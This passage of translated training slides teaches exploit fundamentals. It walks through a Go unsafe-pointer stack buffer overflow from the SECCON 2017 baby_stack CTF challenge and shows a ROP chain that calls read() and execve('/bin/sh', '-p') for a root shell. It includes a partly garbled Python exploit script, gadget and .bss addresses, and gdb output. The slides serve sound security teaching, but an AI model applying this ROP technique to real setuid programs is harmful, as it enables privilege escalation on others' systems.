    No RELRO No canary found NX enabled No PIE .... hello

    View full-size slide

  58. Advanced
    Exercise - Unsafe Library
    ● Exercise
    ○ Unsafe libraries support the use of raw pointers, therefore the memory can be broken
    ○ In the demo “3. Advanced”, we will attack Go code with a buffer overflow vulnerability
    ■ Source code
    ■ The buffer overflow vulnerability exists in the the memcpy function
    func main() {
    buf := make([]byte, 32)
    stdin := bufio.NewScanner(os.Stdin)
    stdin.Scan()
    text := stdin.Text()
    memcpy(*(*uintptr)(unsafe.Pointer(&buf)), *(*uintptr)(unsafe.Pointer(&text)), len(text))
    ...
    }
    func memcpy(dst uintptr, src uintptr, len int) {
    for i := 0; i < len; i++ {
    *(*int8)(unsafe.Pointer(dst)) = *(*int8)(unsafe.Pointer(src))
    dst += 1
    src += 1
    }
    } Ref: Extract from the SECCON CTF2017 challenges
    Stack Buffer Overflow
    buf[32]

    View full-size slide

  59. Advanced
    Demo
    ● In this demo we will show the attack used
    ○ Don’t worry if you don’t get what is happening straight away
    ● How the attack is done
    ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise3
    ○ docker run --rm --privileged -it suezawa/exploit-exercise3 /bin/bash
    ● Attack details
    ○ This attack is similar to exercise 2 in that it used a Stack Buffer Overflow vulnerability.
    However, in this case some protection mechanisms are in place
    ■ NX bit(DEP) is enabled: can’t carry out attacks on code on the stack
    ■ ASLR enabled: stack address etc. is randomized
    ■ PIE is disabled: address for executable code in the ELF binary is fixed
    ■ SSP(Stack Canary) is disabled: no protection against overwriting the return address
    ○ Controls on the baby_stack that has been setuid’ can be taken over, allowing escalation to
    root and shell execution
    ○ Can call execve using an attack method called ROP (Return-oriented programming)

    View full-size slide

  60. Advanced
    Demo - Attacking using exploit_print.py
    Link

    View full-size slide

  61. Advanced
    IDA Pro
    ● IDA Pro
    ○ A very high quality disassembler
    ○ Today we will use the free version (IDA Pro Free)
    ■ The paid version has scripting support. A decompiler can also be bought separately
    ○ In 2019 the NSA released a tool called Ghidra (OSS), this is also a very popular tool
    ● Let’s try using IDA Pro Free to check the Go binary
    ○ The Go binary contains syscall.Syscall, a system call wrapper function similar to libc
    ○ We will use IDA Pro Free to find syscall.Syscall, and check compilation
    ○ → The address for syscall.Syscall is: 0x481E40

    View full-size slide

  62. Advanced
    [Demo] IDA Pro
    Link

    View full-size slide

  63. Advanced
    Stack Frame (Go)
    ● The Go stackframe differs from C
    ○ Go
    ■ Arguments
    ● Whole argument is set on stack and
    handed over
    ● Ref: C hands it to the stack for
    x86(32bit)
    ■ Return values
    ● Set to the stack and return
    ● Can hold multiple return values
    ○ C
    ■ Arguments
    ● Set to the stack if doing it through
    the register is insufficient
    ■ Return values
    ● Set to the rax register and returned Stack Segment ↑
    High Address
    Virtual Memory
    Low Address
    Return Address
    Local Variables
    Saved RBP
    Arguments
    Return values
    Return Address
    Local Variables
    Saved RBP
    Arguments
    Return values
    function1
    function2
    Go

    View full-size slide

  64. Advanced
    Stack Frame (Go)
    Stack Segment ↑
    High Address
    Virtual Memory
    Low Address
    Arguments1: execve(59)
    Return values
    syscall.
    Syscall
    Arguments2: “/bin/sh”
    Arguments3: [“/bin/sh”, “-p”]
    Arguments4: NULL(0x00)
    Return address
    Local Values
    ● syscall.Syscall
    ○ Attack call: execve(“/bin/sh”, [“/bin/sh”, “-p”], 0x00)
    ■ The stack frame will change as shown on the
    right
    ○ As NX bit (DEP) is enable, we are unable to inject
    shellcode into the stack segment
    ■ We call the syscall function contained in the
    executable file to call the syscall
    func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err Errno)

    View full-size slide

  65. Advanced
    How to attack
    ● How to do the attack
    ○ 1. “/bin/sh” and ”-p” etc. are not in memory so we load
    the strings required for attack into memory
    ○ read(0, .bss segment address, 100)
    ■ 0 = standard input
    ■ .bss = ASLR prevents randomized address
    ■ 100 = the input limit
    ○ 2. execve is used to called the system call
    ○ execve(“/bin/sh”, [“/bin/sh”, “-p”], 0)
    ■ “/bin/sh”
    ■ [“/bin/sh”, “-p”]
    ■ 0
    ● Call the string into the fixed memory address
    and hand this address to execve
    0xffffffffffffffff
    0x00
    Virtual Memory
    Machine Code(.text Segment)
    .rodata Segment
    .bss Segment
    Heap segment ↓
    Stack Segment ↑
    main() 0101010101
    .data Segment
    * Only major segments included
    “/bin/sh\0” “-p\0”, array...
    write

    View full-size slide

  66. Advanced
    How to attack - ROP
    ● If we change the stack like this we can carry out an attack through read() and execve() calls
    ● We take over the return instruction from the executable code and run arbitrary code instead
    Return Address
    buf[]
    Saved RBP
    Arguments
    Return values
    main()
    original
    Stack
    layout
    000000000000000000000000
    000000000000
    &syscall.Syscall
    pointer of “add rsp, 32; ret”
    arg1: read (0)
    ret1
    ret2
    .text segment
    (syscall.Syscall func)

    syscall

    ret
    (? func)
    ...
    add rsp, 0x38(56)
    ret
    ...
    arg2: standard input (0)
    arg3: .bss address
    arg4: 0x100
    dummy(0\0\0\0\0\0\0\0)
    arg1: execve (59)
    arg2: pointer of “/bin/sh”
    arg3: pointer of [“/bin/sh”, “-p”]
    arg4: 0
    .bss segment
    “/bin/sh\0”
    “-p\0\0\0\0\0\0”
    64bit
    pointer of “/bin/sh”
    pointer of “-p”
    null pointer (\0\0\0\0\0\0\0\0)
    Array
    Adjust Stack
    Address
    ret3
    Overwritten by read()
    Attack flow
    1. read() syscall
    2. add rsp and adjust stack
    3. execve() syscall
    64bit
    dummy(return value1)
    dummy(return value2)
    dummy(return value3)
    &syscall.Syscall
    56byte

    View full-size slide

  67. Advanced
    Exploit
    addr_bss = 0x564200
    shellcode = "\0" * 224
    shellcode += struct.pack(" syscall.Syscall
    shellcode += struct.pack(" (add rsp, 0x38 ; ret)
    shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack(" syscall.Syscall
    shellcode += struct.pack(" dummy
    shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("shellcode += struct.pack("print(shellcode)
    sys.stdout.flush()
    time.sleep(1)
    shellstr = "/bin/sh\0"
    shellstr += "-p\0\0\0\0\0\0"
    shellstr += struct.pack("shellstr += struct.pack("shellstr += struct.pack("print(shellstr)
    sys.stdout.flush()
    exploit_print.py
    main() func内のscan()向け
    呼び出されたread syscall向け
    Attack flow
    1. read() syscall
    2. add rsp to adjust stack address
    3. execve() syscall

    View full-size slide

  68. Advanced
    Exercise - GDB Demo
    Link
    GDB with Stack Layout Image

    View full-size slide

  69. Advanced
    Exercise
    ● Hands-on
    ○ Try yourself using the materials below
    ○ https://github.com/rung/training-exploit-fundamentals/tree/master/exercise3
    ● Understanding with GDB (video on next page)
    ○ With the command below you can even automate the ret of the main() function
    ■ gdb bof -x gdb-autocommand
    ● inout (e.g. writing to /bin/sh) can also be carried out through the read() system
    call
    ○ Pay attention to the following
    ■ After the return pointer is overwritten, the controls are moved to syscall.Syscall with
    the ret instruction
    ■ ret is used to hand over another function, ultimately allowing the execve system call
    to be called

    View full-size slide

  70. Advanced
    (Reference) ROP (Return-Oriented Programming)
    ● ROP (Return-Oriented Programming)
    ○ This way of using the return instruction to run arbitrary code is known as ROP
    ○ We can run arbitrary code using the ”****; ret” instruction contained in the executable code
    ■ We will use the instruction ‘add rsp, 0x38 (56); ret’ to alter the Stack in this example
    ● ROP Gadget
    ○ The part of the executable code that contains the machine code for ‘****; ret’ is known as
    the ROP Gadget
    ○ A tool called rp++, can list the executable commands contained in the ROP Gadget
    # rp-lin-x64 -f baby_stack -r 1 --unique

    0x00403561: add rsp, 0x30 ; ret ; (199 found)
    0x0040197f: add rsp, 0x38 ; ret ; (111 found)
    0x00402ae0: add rsp, 0x40 ; ret ; (114 found)

    address

    View full-size slide

  71. Advanced
    (Reference) .bss segment address
    ● Carry out overwrite of the .bss segment address using read system call
    ○ How to find the .bss address
    ■ (If it is not PIE the address will not be randomized)
    ■ Look at the bss address memory state with GDB
    # readelf -W -e baby_stack

    Section Headers:
    [Nr] Name Type Address Off Size ES Flg Lk Inf Al
    ...
    [11] .bss NOBITS 0000000000564200 164200 01b950 00 WA 0 0 32
    ...
    gdb-peda$ hexdump 0x564200 48
    0x00564200 : 2f 62 69 6e 2f 73 68 00 2d 70 00 00 00 00 00 00 /bin/sh.-p......
    0x00564210 : 00 42 56 00 00 00 00 00 08 42 56 00 00 00 00 00 .BV......BV.....
    0x00564220 : 00 00 00 00 00 00 00 00 0a 00 00 00 00 00 00 00 ................

    View full-size slide

  72. Summary
    ● Today we saw everything from a computer’s work, to attack types, to
    mitigation methods for attacks
    ○ 1. Introduction
    ■ Explanation of how computers operate
    ○ 2. Stack Buffer Overflow
    ■ Stack Buffer Overflow hands-on
    ○ 3. Advanced
    ■ Attack mitigation technology and how to bypass it
    ● The game of cat and mouse between attack and defense never ends
    ■ New vulnerabilities are regularly released
    ■ By understanding how computers work and the attacks flows used, we can
    understand which types of vulnerabilities are targeted by what kind of attack in….
    ● Our own apps
    ● The libraries within our own apps
    ● The containers we manage on our applications
    ● Enjoy hacking :)

    View full-size slide

  73. References
    ● Reference Materials
    ○ Computer Organization and Design: David A. Patterson, John L. Hennessy
    ○ Hacking: The Art of Exploitation: Jon Erickson
    ○ [試して理解]Linuxのしくみ ~実験と図解で学ぶ OSとハードウェアの基礎知識
    Satoru Takeuchi
    ● Attack Reference Websites
    ○ 2. Stack Buffer Overflow
    ■ 『x64でスタックバッファオーバーフローをやってみる 』 Momoiro Technology
    ○ 3. Advanced
    ■ 『SECCON 2017 Online Exploit Challenges (Baby Stack)』
    ● Main Tools Used
    ○ IDA Pro Free Disassembler
    ○ gdb-peda GDB Extension (slide)
    ○ checksec Check security properties of executables
    ○ Radare2 Reverse engineering framework and command-line toolset (including rasm2)
    ○ rp++ Find ROP gadgets

    View full-size slide

  74. Special Thanks
    ● Reviewers
    ○ kcz (@kcz146)
    ● Translator
    ○ Jason Fernandes

    View full-size slide